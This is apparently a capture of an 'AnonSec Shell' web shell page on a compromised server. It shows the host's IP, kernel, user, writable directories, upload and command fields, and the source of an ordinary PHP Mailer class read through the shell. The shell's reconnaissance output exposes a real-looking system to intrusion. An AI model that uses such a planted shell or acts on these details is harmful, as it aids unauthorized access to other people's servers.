AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/dialogo/application/autoload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/dialogo/application/autoload/Mailer.php
<?php

/**
 * Classe de envio de Emails que oferece uma alternativa mais flexível para enviar
 * os emails do sistema se comparado com a classe Email.
 *
 * @author Cleberson Falk <cleberson.falk@gmail.com>
 */
class Mailer extends PHPMailer
{
	private $template = "";
	private $body_params = "";

	/**
	 * Mailer constructor.
	 * @param bool $exceptions
	 */
	public function __construct($exceptions = false)
	{
		global $config;

		$this->CharSet = 'UTF-8';
		$this->IsSMTP();
		$this->SMTPAuth = true;
		$this->IsHTML(true);

		if($exceptions) {
			$this->SMTPDebug = 3;
		}

		$mail = ORM::for_table('sys_emailconfig')->find_one(1);
		$this->Host = $mail->host;
		$this->Username = $mail->username;
		$this->Password = $mail->password;
		$this->Port = $mail->port;

		if($mail->secure) {
			$this->SMTPSecure = $mail->secure;
		}

		parent::__construct($exceptions);
	}

	/**
	 * Método para setar o email e nome
	 * de quem está enviando o Email.
	 *
	 * @param $from email@mail.com
	 * @param $name Fullname
	 * @return $this
	 */
	public function from($from, $name)
	{
		$this->From = $from;
		$this->FromName = $name;

		return $this;
	}

	/**
	 * Método para setar o email e nome
	 * de quem receberá o Email.
	 *
	 * @param $to mail@mail.com
	 * @param $name Fullname
	 * @return $this
	 */
	public function to($to, $name)
	{
		$this->AddAddress($to, $name);

		return $this;
	}

	/**
	 * Método para setar o assunto
	 *
	 * @param $subject
	 * @return $this
	 */
	public function subject($subject)
	{
		$this->Subject = $subject;

		return $this;
	}

	/**
	 * Seta os parâmetros que serão inseridos no corpo do email, preferencialmente se espera
	 * um array, onde os índices serão os nomes das variáveis do template do email e os valores
	 * o conteúdo que se quer inserir.
	 *
	 * @param $body
	 * @return $this
	 */
	public function body($body)
	{
		$this->body_params = $body;

		return $this;
	}

	/**
	 * Método que substitui as {{variáveis}} no corpo do email
	 * pelos valores passados por array no método body.
	 *
	 * Será executado apenas na hora de enviar.
	 */
	private function buildTemplate()
	{
		if(is_array($this->body_params)) {
			if(count($this->body_params) > 0) {
				foreach($this->body_params as $var => $value) {
					$this->template = str_replace('{{'.$var.'}}', $value, $this->template);
				}

				$this->Body = $this->template;
			}
		}
		else {
			$this->Body = $this->body_params;
		}
	}

	/**
	 * Método que carrega o conteúdo do template de email
	 *
	 * @param string $template_path
	 * @return $this
	 */
	public function loadTemplate($template_path = 'default')
	{
		global $ui;

		if($template_path == 'default') {
			$template = $ui->template_dir[0] . 'email-templates-default.tpl';
			if(file_exists($template)) {
				$this->template = file_get_contents($template);
			}
		}
		else {
			if(file_exists($template_path)) {
				$this->template = file_get_contents($template_path);
			}
		}

		return $this;
	}

	/**
	 * Executa o envio do email
	 */
	public function sendMail()
	{
		// Antes de enviar o email, prepara o conteúdo do template
		// com os valores passados no método body
		$this->buildTemplate();

		// Faz o envio
		$this->Send();
	}
}

Anon7 - 2022
AnonSec Team